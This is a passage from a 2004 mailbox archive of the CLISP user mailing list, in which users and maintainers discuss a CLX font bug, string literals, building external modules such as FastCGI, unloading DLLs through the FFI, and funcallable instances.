be a bug. we need to investigate it. > please try the above commands, start with ":bt >> > Hello,=20 > []> ....clisp-2.32/full/lisp.run -M ....clisp-2.32/full/lispinit.mem > []> (cd "....clocc/src/gui/clx/demo") > []> (load "qix.lisp") > []> (in-package :xlib) > []>(qix :host "k") =3D>OK > []>(user::load "hello.lisp") > []>(hello-world "k") =3D> class # has no slot named FO= NT-INFO > BREAK> :tb > BREAK> :b =3D> (TEXT-WIDTH FONT STRING) > after removing the line with this form and restarting: > (hello-world "k") =3D> the same error > BREAK> :bt > BREAK> :b =3D> (DRAW-GLYPHS WINDOW GCONTEXT X Y STRING) either this is not CLISP or you have edited both prompts and output. please copy and paste everything. if you are using interpreted code (which appears to be the case), you can evaluate the arguments to DRAW-GLYPHS (window &c). please do it. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k non-smoking section in a restaurant =3D=3D non-peeing section in a swimming= pool From pascal@informatimago.com Wed Mar 10 10:05:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B185U-0005eE-M5 for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 10:05:48 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B17oJ-0005on-Tl for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 09:48:04 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 11A9C586E2; Wed, 10 Mar 2004 18:47:56 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9FE795041E; Wed, 10 Mar 2004 18:47:21 +0100 (CET) Message-ID: <16463.21673.573033.398992@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] macros for CLISP -- character literals in strings In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0A381FB7@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A381FB7@G8PQD.blf01.telekom.de> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 10:06:05 2004 X-Original-Date: Wed, 10 Mar 2004 18:47:21 +0100 Hoehle, Joerg-Cyril writes: > Hi, > > Pascal J.Bourguignon wrote: > >(defconstant +space-list+ '(#\newline #\Return #\Linefeed > >#\space #\tab #\page)) > >;; Note, usually, I prefer to keep characters in strings, > >;; and using POSITION instead of MEMBER. > >;; It's just harder to come with a string literal containing > >these characters. > > Uh? What about > (coerce '(#\newline #\Return #\Linefeed #\space #\tab #\page) 'string) Nice! Thank you. Up to now I used FORMAT to do the same, but this sounds better. > Come on, constant values in Lisp can be computed and result from > complex computations, unlike preprocessor literals in C. > > Ok, such string literals are not so nice when printed or while in > the debugger, but that's not the reason you invoke. " ^M ^L" > > I agree that another case is slightly harder: a mixture of text and > #\newline in between. E.g. I myself tend to dislike invoking FORMAT > to achieve constant strings with embedded newlines like in > (defconstant +foo+ (format nil "First line~%Another line~%")) > But your example with only special characters does not fall into > this category. > > Regards, > Jörg Höhle. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From lisp-clisp-list@m.gmane.org Wed Mar 10 21:41:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1IwN-0002wR-J1 for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 21:41:07 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1IFd-0005wd-1Q for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 20:56:57 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B1Ies-0003BP-00 for ; Thu, 11 Mar 2004 06:23:02 +0100 Received: from 200.102.200.126 ([200.102.200.126]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2004 06:23:02 +0100 Received: from synthespian by 200.102.200.126 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2004 06:23:02 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Henry Lenzi Lines: 16 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 200.102.200.126 () X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] What are those packes in the FTP GNU repository? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 21:46:25 2004 X-Original-Date: Thu, 11 Mar 2004 05:23:00 +0000 (UTC) Hello -- I just stumbled upon a good quantity of packages for CLISP that didn't seem to be documented in the CLISP site. ftp://ftp.gnu.org/pub/gnu/clisp/packages Are they maintained, usable, or very old? Why weren't they mentioned in the CLISP site? If they're used, shouldn't they have been mentioned? Thanks. Henry From lisp-clisp-list@m.gmane.org Wed Mar 10 21:56:16 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1JB2-00054W-Of for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 21:56:16 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1IUI-0000yR-4v for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 21:12:06 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B1ItZ-0003RS-00 for ; Thu, 11 Mar 2004 06:38:13 +0100 Received: from 200.102.200.126 ([200.102.200.126]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2004 06:38:13 +0100 Received: from synthespian by 200.102.200.126 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 11 Mar 2004 06:38:13 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Henry Lenzi Lines: 17 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 200.102.200.126 () X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] How do I load an external module? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 22:04:08 2004 X-Original-Date: Thu, 11 Mar 2004 05:38:10 +0000 (UTC) Hi -- Ok, fatal newbie question: how do I load an external module? Is FastCGI included in the 2.32 release available at Sourceforge, by the way? Because all I have is: root@1[clisp-2.32]# ls ANNOUNCE Makefile README.es bindings doc locale syscalls COPYRIGHT NEWS SUMMARY clisp-link emacs pcre GNU-GPL README base clx full regexp MAGIC.add README.de berkeley-db data linkkit src Is see no POSIX either, nor Netica. Thanks, Henry From ICMdesign@aol.com Wed Mar 10 23:20:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1KUZ-00061R-Ac for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 23:20:31 -0800 Received: from imo-m26.mx.aol.com ([64.12.137.7]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1KD5-0002PV-0w for clisp-list@lists.sourceforge.net; Wed, 10 Mar 2004 23:02:27 -0800 Received: from ICMdesign@aol.com by imo-m26.mx.aol.com (mail_out_v37.4.) id 6.c0.73e1aea (4012) for ; Thu, 11 Mar 2004 02:02:16 -0500 (EST) From: ICMdesign@aol.com Message-ID: To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 120 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 10 23:31:13 2004 X-Original-Date: Thu, 11 Mar 2004 02:02:16 EST Hallo, All Sam writes >either this is not CLISP or you have edited both prompts and output. CLISP lives on another computer so editing is easier for me, sorry >please copy and paste everything. >if you are using interpreted code (which appears to be the case), you >can evaluate the arguments to DRAW-GLYPHS (window &c). >please do it. -------------- diff hello.lisp hello.lisp_original < (width 500) > (width (+ text-width font string) (* 2 border))) ---------------- Using the original hello.lisp CLISP gives the Break-prompt with the same message further described In CLOCC/src/gui/clx/demo I do: ....clisp-2.32/full/lisp.run -M .....clisp-2.32/full/lispinit.mem [1]> (lisp-implementation-version) "2.32(2003-12-29) built on burivuh[127.0.0.1]" [2]> (load "hello.lisp") [3]> (in-package :xlib) XLIB[4]>(hello-world "k") ;;; the window named "HELLO_WORLD" appears *** - SLOT-VALUE: The class # has no slot named FONT-INFO Break 1 [5]> :b EVAL frame for form (DRAW-GLYPHS WINDOW GCONTEXT X Y STRING) Break 1 XLIB[5]> window # Break 1 XLIB[5]> gcontext #>GCONTEXT #x203A8750 Break 1 XLIB[5]> x 0 Break 1 XLIB[5]> y 12 Break 1 XLIB[5]> string "Hello World" K From sds@gnu.org Thu Mar 11 06:31:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1RE1-0000RU-M2 for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 06:31:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1QWk-0002tj-93 for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 05:47:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2BEDOFg016371; Thu, 11 Mar 2004 09:13:25 -0500 (EST) To: clisp-list@lists.sourceforge.net, Henry Lenzi Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Henry Lenzi's message of "Thu, 11 Mar 2004 05:23:00 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Henry Lenzi Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: What are those packes in the FTP GNU repository? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 06:32:16 2004 X-Original-Date: Thu, 11 Mar 2004 09:13:24 -0500 > * Henry Lenzi [2004-03-11 05:23:00 +0000]: > > I just stumbled upon a good quantity of packages for CLISP that > didn't seem to be documented in the CLISP site. > ftp://ftp.gnu.org/pub/gnu/clisp/packages mentioned here > Are they maintained, usable, or very old? which specific package are you talking about? -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not worry about which side your bread is buttered on: you eat BOTH sides. From sds@gnu.org Thu Mar 11 06:35:30 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1RHV-00018B-TL for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 06:35:29 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1QaF-0003yZ-Hm for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 05:50:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2BEH4Fg017413; Thu, 11 Mar 2004 09:17:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, Henry Lenzi Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Henry Lenzi's message of "Thu, 11 Mar 2004 05:38:10 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Henry Lenzi Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: How do I load an external module? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 06:36:01 2004 X-Original-Date: Thu, 11 Mar 2004 09:17:04 -0500 > * Henry Lenzi [2004-03-11 05:38:10 +0000]: > > Ok, fatal newbie question: how do I load an external module? get a source distribution, then $ ./configure --with-module=netica --with-module=fastcgi --build build $ ./build/clisp -K full > Is FastCGI included in the 2.32 release available at Sourceforge, by > the way? yes. > Because all I have is: > > root@1[clisp-2.32]# ls > ANNOUNCE Makefile README.es bindings doc locale syscalls > COPYRIGHT NEWS SUMMARY clisp-link emacs pcre > GNU-GPL README base clx full regexp > MAGIC.add README.de berkeley-db data linkkit src this is a binary distribution, built without Netica or FastCGI. > Is see no POSIX either, nor Netica. syscalls is POSIX (AKA OS). Netica is not built into this binary distribution. -- Sam Steingold (http://www.podval.org/~sds) running w2k Binaries die but source code lives forever. From sds@gnu.org Thu Mar 11 07:53:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1SVQ-0001in-RZ for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 07:53:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1SDh-0001L0-9U for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 07:35:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2BFZJFg011442; Thu, 11 Mar 2004 10:35:19 -0500 (EST) To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (ICMdesign@aol.com's message of "Thu, 11 Mar 2004 02:02:16 EST") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, ICMdesign@aol.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.32 with clx Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 07:54:20 2004 X-Original-Date: Thu, 11 Mar 2004 10:35:19 -0500 > * [2004-03-11 02:02:16 -0500]: > > XLIB[4]>(hello-world "k") ;;; the window named "HELLO_WORLD" appears > *** - SLOT-VALUE: The class # has no slot named FONT-INFO I do not observer this with the CVS HEAD (and therefore this is fixed in the next release.) it appears that this bug was fixed on 2004-01-29. -- Sam Steingold (http://www.podval.org/~sds) running w2k "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From Joerg-Cyril.Hoehle@t-systems.com Thu Mar 11 09:01:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1TZA-0007kw-2e for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 09:01:52 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B1Srj-0007vG-51 for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 08:16:59 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 11 Mar 2004 17:43:23 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 11 Mar 2004 17:43:22 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A57EFA3@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pieterb@lynxgeo.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ffi, clisp and dll's Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 09:02:10 2004 X-Original-Date: Thu, 11 Mar 2004 17:43:20 +0100 Hi, Pieter asked in comp.lang.lisp about closing dynamic libraries: > I am working on windows xp with clisp. > > I just wrote a little dll with visual studio and I managed to do a > (ffi:def-call-out) on it. It loaded it right, executed the function > which I specified and I am extremely happy about it :) > > My question: Is there a way to release this dll from within clisp or > lisp code? I recompiled the .dll and tried to copy it to the working > lisp directory, but couldn't because of the fact that the old .dll was > still in use. CLISP doesn't come with a function to unlink a foreign library. Yet I believe you could come up with code which achieves this goal if you can 1. find the MS-windows dll which contains the CloseLibrary (name?) call 2. invoke that with your # to your .dll 3. invoke (setf (validp #) nil) Basically, it's doing the job of unlinking the library by hand, using the FFI itself. Next time FFI::FOREIGN-LIBRARY will be called (e.g. via FFI:DEF-CALL-OUT), IIRC, CLISP should open the library again because it sees the defunct pointer. [Could somebody kindly confirm privately that this e-mail to clisp-users also made it to the whole of the Usenet community reading comp.lang.lisp?] Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Thu Mar 11 09:25:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1Tw5-0004XD-PB for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 09:25:33 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1TeM-0003TK-5q for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 09:07:14 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 18:07:07 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 11 Mar 2004 18:07:07 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0A57EFB9@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] funcallable instance? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 09:26:05 2004 X-Original-Date: Thu, 11 Mar 2004 18:07:04 +0100 Hi, I was wondering whether it would be a valuable enhancement request to = beg for funcall'able instances. Pascal Costanza recently wrote in comp.lang.lisp: >The following is in LispWorks 4.3 for Mac OS X. (defclass changeable-function () ((clambda :accessor clambda :initarg :clambda)) (:metaclass funcallable-standard-class)) Remember's me of Python's __call__ method, which can be added to any = instance, resulting in a callable object. So is there a way to have a user-defined instance (e.g. it has slots I = can define) that's a user-definable function at the same time, in = CLISP? I had thought about uses of such things, when the primary use of a = "thing" was as a closure (I mean I'm working functionaly most of the = time), but also some separate call could alter the closure's state = (breaking the functional paradigm from times to times). Calling another closure which shares bindigs can achieve this effect, = but I'd be more satisfied with maintaining a single object instead of = two. As a low-level hack, one could maybe define a setf method on some = closure's environment vector, but uh... Regards, J=F6rg H=F6hle From sds@gnu.org Thu Mar 11 09:38:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1U8T-0007S0-3P for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 09:38:21 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1Tqj-0007Jn-BD for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 09:20:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2BHJZFg015902; Thu, 11 Mar 2004 12:19:36 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0A57EFB9@G8PQD.blf01.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 11 Mar 2004 18:07:04 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57EFB9@G8PQD.blf01.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: funcallable instance? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 11 09:39:01 2004 X-Original-Date: Thu, 11 Mar 2004 12:19:35 -0500 > * Hoehle, Joerg-Cyril [2004-03-11 18:07:04 +0100]: > > I was wondering whether it would be a valuable enhancement request to > beg for funcall'able instances. > > Pascal Costanza recently wrote in comp.lang.lisp: >>The following is in LispWorks 4.3 for Mac OS X. > (defclass changeable-function () > ((clambda :accessor clambda :initarg :clambda)) > (:metaclass funcallable-standard-class)) I think it would be a great idea to add FUNCALLABLE-STANDARD-CLASS, as specified in MOP, see patches are welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is great, as long as `bill' is a verb. From bruno@clisp.org Thu Mar 11 10:36:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B1V33-0002EM-Ax for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 10:36:49 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B1UlH-0001ey-VF for clisp-list@lists.sourceforge.net; Thu, 11 Mar 2004 10:18:28 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2BIIMWf009097; Thu, 11 Mar 2004 19:18:22 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2BIILBn022566; Thu, 11 Mar 2004 19:18:21 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 8D0013B3B7; Thu, 11 Mar 2004 18:13:20 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , "Hoehle, Joerg-Cyril" User-Agent: KMail/1.5 References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57EFB9@G8PQD.blf01.telekom.de> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit 